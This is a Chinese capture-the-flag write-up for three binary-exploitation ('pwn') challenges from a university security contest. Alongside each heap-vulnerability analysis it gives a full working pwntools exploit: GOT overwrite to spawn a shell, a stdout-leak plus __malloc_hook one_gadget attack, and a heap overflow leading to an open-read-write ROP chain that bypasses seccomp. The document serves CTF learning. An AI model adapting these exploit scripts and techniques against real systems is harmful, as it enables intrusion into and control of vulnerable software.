高校战“疫”网络安全分享赛-部分PWN题-wp
1.本文由复眼小组的RGDZ师傅原创2.本文共3500字,图片30张 预计阅读时间10分钟3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!
0x00.前言:
周末打了下 《高校战“疫”网络安全分享赛》,作为WEB
转PWN
的菜鸟,只做出了三个PWN
, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP
,记录一下。
0x01.easy_heap:
1.函数分析
这道题比较简单,checksec如下:
图片1 checksec
main函数如下:
图片2 easy_heap_main
在del函数可以发现指针已经清0
图片3 easy_heap_del
add函数如下:
图片4 easy_heap_add
我们可以发现,其现申请的ptr
指针然后再给其赋值,如果我们申请的时候,输入大于0x400
的size
,虽然函数退出,但是实际上ptr[i]
里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里
2.思路简述:
我们可以现申请一个0x60和0x70的fastbin,然后释放掉,此时fastbin的链表如下:
图片5 easy_heap_add的fastbin链表
之后我们再add(0x500)
一下,ptr[0]
就等于第一个fastbin,同时其fd
指针还保留了留在0x1552000
也就是第二个fastbin的指针地址,所以这个时候我们编译ptr[0]
也就是编辑第二个fastbin,之后我们可以在add(0x20)
一下,add(0x50)
把第二个bin拿出来,同时拿到ptr[2]
之后我们编辑ptr[0]
实际上就可以控制ptr[1]
, 现在ptr的堆栈情况如下:
图片6 ptrs
所以我们编辑ptr[0]
来使得ptr[1]
的指针变成170
也就是ptr[2]
,(注:这里地址不一样是因为我本地开了ASLR
,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr[1]
时实际上就是在编辑ptr[2]
的chunk,如图:
图片7 ptrs2
由于程序没有开启got
保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr[1]
修改ptr[2]
的指针指向free_got
,在通过编辑ptr[2]
来修改free_got
为puts_plt
,在回去编辑ptr[1]
来修改ptr[2]
为atoi_got
,这样当我们free掉ptr[2]
后,就能泄露atoi
的地址,计算出libc
基地址,我们在通过编辑ptr[0]
来使得ptr[1]
指向atoi_got
,在编辑ptr[1]
来修改atoi_got
为system
的地址,这样下一次输入时输入/bin/sh
就可以getshell了。
3.完整EXP:
from pwn import * context.log_level = "debug" io = process("easyheap")# io = remote("121.36.209.145", 9997)elf = ELF('easyheap')libc = ELF("libc.so.6") def c(idx): io.sendlineafter("Your choice:", str(idx)) def add(size, buf): c(1) io.sendlineafter("How long is this message?", str(size)) io.sendafter("What is the content of the message?", buf) def free(idx): c(2) io.sendlineafter("What is the index of the item to be deleted?", str(idx)) def edit(idx, buf): c(3) io.sendlineafter("What is the index of the item to be modified?", str(idx)) io.sendafter("What is the content of the message?", buf) add(0x60, '\x00')add(0x70, '\x00') free(0)free(1) c(1)io.sendlineafter("How long is this message?", str(0x500))add(0x20, '\xaa')add(0x50, '\xaa') buf = p64(0)buf += p64(0x21)buf += '\x70' #fix edit(0, buf)attach(io) edit(1, p64(elf.got['free']))edit(2, p64(elf.plt['puts']))edit(1, p64(elf.got['atoi'])) free(2)io.recv()atoi_addr = u64(io.recv(6)+"\x00\x00")libcbase = atoi_addr - libc.symbols['atoi']system_addr = libcbase + libc.symbols['system']log.info("libcbase: 0x%x"%libcbase)log.info("system addr: 0x%x"%system_addr) # 2 is 0 so fix 1buf = p64(0)buf += p64(0x21)buf += p64(elf.got['atoi']) #fix atoi to systembuf += p64(0x500)edit(0, buf) edit(1, p64(system_addr)) io.recv()io.sendline("/bin/sh")io.interactive()
0x02.woodenbox:
这题的提示很明显,基本就是Roman
,但这次我脸太黑,爆破一晚上,没跑出flag,最后查略资料发现Roman
其使用在fastbin attack
环节先去攻击stderr+157
这个地址,这个偏移是固定,在2.23
版本的libc
中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露,这样就能把原先Roman
的攻击概率从1/4096
,提高到1/16
,成功率大大提高,这里以这道题来实例分析一下流程。
1.函数分析:
add函数如下:
图片8 woodenbox_add
edit函数如下,这里可以发现很明显的堆溢出了,重新输入了size
,但并没有重新申请chunk
图片9 woodenbox_edit
remove函数如下:
图片10 woodenbox_remove
这里会比较绕,作者用了一个items
,一个ptrs
同时控制数据数组,实际上我们一看地址就清楚了,如图,items
和ptrs
的地址:
图片11 items_ptrs_addr
这里实际上items
是指向第一个数据块的size
,ptrs
指向第一个数据块的ptr
,所以可以定义如下结构:
图片12 item_ptr_struct
这样看着就清楚多了,这还有一个点比较坑,作者移除数据块是非正常移动,在把items[i]
置为0后,就开始往上移动,items[0]
块相当于消失,下方的块上移一次,所以控制chunk
下标时要注意,同时最后一个块也就是item[11]
并不会消失,除非主动删除他
2.思路简述:
在调试这题时我们可以先关闭aslr
随机化
echo 0 > /proc/sys/kernel/randomize_va_space
我们依然先使用Roman
开题手法,先拿到一个unsorted bin 然后通过上一个chunk
溢出来覆盖size域和fd后4位,其中第一位需要爆破也就在这里 当我们完成unsorted bin(覆盖size域后其在fastbin里面)的fd
覆盖后,如图:
图片13 bins
我们最后四位覆盖为"\x25\xdd"
这个偏移是2.23libc
是固定的,我们fastbin attack
后可以拿到stderr+173
其目的是为了控制stderr+221
实际上就是覆盖stdout结构体中_IO_write_base
,如图:
图片14 stdout1
关于stdout的更多细节可以参考:
•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057
这样就可以进行泄露对了覆盖是我们还多覆盖了"\x00"
,这样就可以使得其输出一个0x7ffff7dd2600
这里我们将a3
变成00
这样可以截断输出,0xffff7dd2600
实际上是stderr+192
,如图:
图片15 stdout2
完成上面步骤我们就成功泄露了libc
基地址,接着就可以直接改malloc_hook为one_gadget
,最后触发malloc_printerr
来getshell
,题目已经在leave
给出:
图片16 leave
3.完整EXP如下:
from pwn import * context.log_level = "debug" # io = process("./woodenbox2") elf = ELF('./woodenbox2')libc = ELF('./libc.so') def c(idx): io.sendlineafter("Your choice:", str(idx)) def add(size, buf): c(1) io.sendafter("Please enter the length of item name:", str(size)) io.sendlineafter("Please enter the name of item:", buf) def edit(idx, buf): c(2) io.sendlineafter("Please enter the index of item:", str(idx)) io.sendafter("Please enter the length of item name:", str(len(buf))) io.sendafter("Please enter the new name of the item:", buf) def free(idx): c(3) io.sendlineafter("Please enter the index of item:", str(idx)) def pwn(): add(0x20, '') # 0 add(0x20, '') # 1 add(0x60, '') # 2 add(0x60, '') # 3 add(0x60, '') # 4 add(0x60, '') # 5 add(0x80, '') # 6 #unsort bin add(0x60, '') # 7 add(0x60, '') # 8 add(0x60, '') # 9 # add(0x80, '') # 10 add (0x20, '') # free add(0x60, '') # 11 free(6) # free(6) free(2) buf = '\x00'*0x68 buf += p64(0x71) buf += "\x20" edit(0, buf) buf = '\x00'*0x68 buf += p64(0x71) buf += p16(0x25dd) # stderr+157 edit(2, buf) attach(io) add(0x60, '') add(0x60, '') add(0x60, '') # stderr+157 # attack stdout buf = '\x00'*0x33 buf += p64(0xfbad2887|0x1000) buf += p64(0)*3+'\x00' edit(4, buf) # leak _IO_2_1_stdout_+131 # leak libcbase stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.success("stdout_a: 0x%x"%stdout_a) libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192 log.success("libcbase: 0x%x"%libc.address) free(6) # malloc_hook_near = "\xed\x1a" malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23) buf = '\x00'*0x68 buf += p64(0x71) buf += malloc_hook_near edit(4, buf) #fix fastbin and attack malloc-0x23 # attack malloc free(6) free(6) add(0x60, '') add(0x60, '') add(0x60, '') # malloc_hook -0x13 #fix fastbin free(3) edit(5, p64(0)) # # unsorted bin attack # buf = '\x00'*0x68 # buf += p64(0x90) # buf += p64(0) # buf += "\x00" # edit(1, buf) # add(0x80, '') # attack get shell one_gadget = libc.address + 0xf02a4 # one_gadget = p64(one_gadget)[:3] buf = '\x00'*0x13 buf += p64(one_gadget) edit(4, buf) # gdb.attach(io) c(4) io.interactive() for i in range(200): try: # io = remote("121.36.215.224", 9998) io = process("./woodenbox2") pwn() except: print(i)
0x03.lgd:
这题说句实话,感觉就是出题人有点恶心
首先开了一个BCF(虚假控制流)
图片17 BCF
图片18 checksec
一看有点吓人,实际上我当时想去除这种混淆,但之前没有好好研究过这种混淆,参考了看雪的这篇帖子:
•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm
但是没有成功,不过不影响。
1.函数分析:
我们仅仅关注关键点:
在add函数中:
图片19 add1
第一处其申请一个size<0x1000
的chunk放在buf[i]
,i最大是32
图片20 add2
第二处将输入的字符的长度赋值到size
图片21 add3
第三处将size放入sizes[i]
del函数关键如下:
图片22 del1
释放buf[i]
图片23 del2
这里b, c
都是bss段上的常量,而且默认都是0,这种BCF混淆的一种手法,整个程序没有一个地方堆b,c
进行赋值,所以这里就是将buf[i]
清0
edit函数如下:
图片24 edit
这里的size
实际上我们在add函数时输入字符的长度,所以这里就是一个典型的堆溢出
show函数如下:
图片25 show
这里可以进行泄露
2.思路简述:
我们首先利用unsorted bin
进行泄露拿到libc基地址,之后原本以为就正常的fastbin attack
改hook get_shell,但打了半天打不通后才发现其开了函数禁用
图片26 seccomp-tools
所以这里我们得想办法绕过,典型的orw
即open read write
就是构造shellcode或者rop链来执行open
函数打开文件,read
读取内容,write
函数输出
这里没有可执行的区域,所以我选择构造rop
链,这里可以参考安全客的这篇文章
•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14
实际简单的说就是先泄露libc
中environ变量的值
计算偏移得到main函数的rbp
地址然后将rop
链写入栈中,当main函数执行后退出后就能劫持程序执行流,比较常规的操作
计算main函数rbp
的偏移可以使用文章用的
图片27 environ_main_rbp
可以计算出偏移为0xf8
那么我们怎么才能泄露environ
以及往栈里面写rop
链呢?
图片28 sizes_buf_addr
我们发现sizes
距离buf
很近仅仅0x80
的字节,而且sizes[i]
与buf[i]
中chunk的真实size并无联系可以借此溢出,所以我们可以多构造几个sizes[i]
为0x7F
这样就能轻松控制buf
的内容,从而实现任意地址写,和任意地址读(构造的rop
链可以参考安全客的文章)
但是当我向main函数的返回地址,也就是rbp的地址
写入rop
链后程序并没去执行rop
,我才注意到main函数并非直接返回,而是执行exit(0)
直接退出,但这样我们就不能执行rop
链,此处多次思考无果,后有师傅说去劫持eixt函数,这里参考安全客的这篇文章
•详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859
但我实际去劫持的时候失败了,这里回头在实验实验,然后还有师傅说利用SROP
,修改free_hook
为context
然后将bss段改为可执行,写入shellcode
的执行,额,哇靠有点操作难度,感觉比较复杂,那么有没有在简单的方法呢?实际还有,我们注意edit函数,这里在看一下
图片29 edit2
我们发现其向buf[i]
写完东西以后就直接退出了,所以我们是否可以去劫持他的返回地址而不是main函数的返回地址呢?
答案是可行的,我们来看一下他的偏移
图片30 edit_rbp
经过计算发现其偏移等于main_rbp-0x130
也就是environ-0x228
所以我们这一次将目标地址写入这里,在写入之前注意我们需要再申请一块chunk,主要目的是使得sizes[i]
的大小足够我们写入rop
链,这里申请0x200
好了
3.完整EXP如下:
from pwn import * context.arch = 'amd64'context.log_level = "debug" io = process("./pwn")# io = remote("121.36.209.145", 9998)elf = ELF("./pwn")libc = ELF("./libc.so.6") def init(): name = "wo si n baba!!!!,sb chu ti ren" io.sendafter("son call babaaa,what is your name? ", name) def c(idx): io.sendlineafter(">> ", str(idx)) def add(size, real_size=0x7E): c(1) io.sendlineafter("______?", str(size)) io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size)) def free(idx): c(2) io.sendlineafter("index ?", str(idx)) def show(idx): c(3) io.sendlineafter("index ?", str(idx)) def edit(idx, buf): c(4) io.sendlineafter("index ?", str(idx)) io.sendafter("___c___r__s__++___c___new_content ?", buf) init()add(0x80)add(0x20) free(0) add(0x80)show(0) main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)libc.address = libc_addrlog.success(hex(libc.address)) add(0x10)add(0x60)add(0x10) #attack bssfree(3)buf = "\x00"*0x18buf += p64(0x71)buf += p64(0x603268) #0edit(2, buf) add(0x60)add(0x60) # 5 # leak environbuf = '\x00'*0x68buf += p64(libc.symbols['environ'])edit(5, buf)show(0)environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))log.success("environ: 0x%x"%environ) free(1)add(0x80, 0x200) io.recv()# attack stack and malloc_hookmain_rbp_addr = environ - 0xf8malloc_hook_addr = libc.symbols['__malloc_hook']log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)buf = '\x00'*0x60buf += "flag".ljust(8, "\x00")buf += p64(0) # 0buf += p64(main_rbp_addr-0x130) # 1 edit(5, buf) layout = [ # "flagx00x00x00x00", # ret 0x0000000000400711, # ret 0x0000000000400711, # ret 0x0000000000400711, # ret 0x00000000004023b3, # : pop rdi ; ret 0x603268+0x70, # stack_addr - 0xf8, 0x00000000004023b1, # : pop rsi ; pop r15 ; ret 0, 0, libc_addr + 0x0000000000033544, # : pop rax ; ret 2, # sys_open libc_addr + 0x00000000001077F5, # : syscall ; ret 0x00000000004023b3, # : pop rdi ; ret 3, 0x00000000004023b1, # : pop rsi ; pop r15 ; ret 0x6033E0, 0, libc_addr + 0x0000000000001b92, # : pop rdx ; ret 0x100, elf.plt['read'], 0x00000000004023b3, # pop rdi 1, 0x00000000004023b1, # pop rsi 0x6033E0, 0, libc_addr + 0x0000000000001b92, # pop rdx 0x50, libc_addr + 0x0000000000033544, # pop eax 1, libc_addr + 0x00000000001077F5, #syscall elf.plt['exit']] c(4)io.sendlineafter("index ?", str(1))# attach(io)io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))io.interactive()
0x04.总结:
这次虽然只做出了3道题,但还是学到很多姿势,特别最后一道,就感觉知识迁移能力很重要,以及做题的时候很多需要灵活应变,感觉收获还是满满的,期待大佬们其他题的WP.还请各位大佬多多担待,有什么新的想法欢迎在公众号的后台留言提出。
0x05.参考文章:
•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14•详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859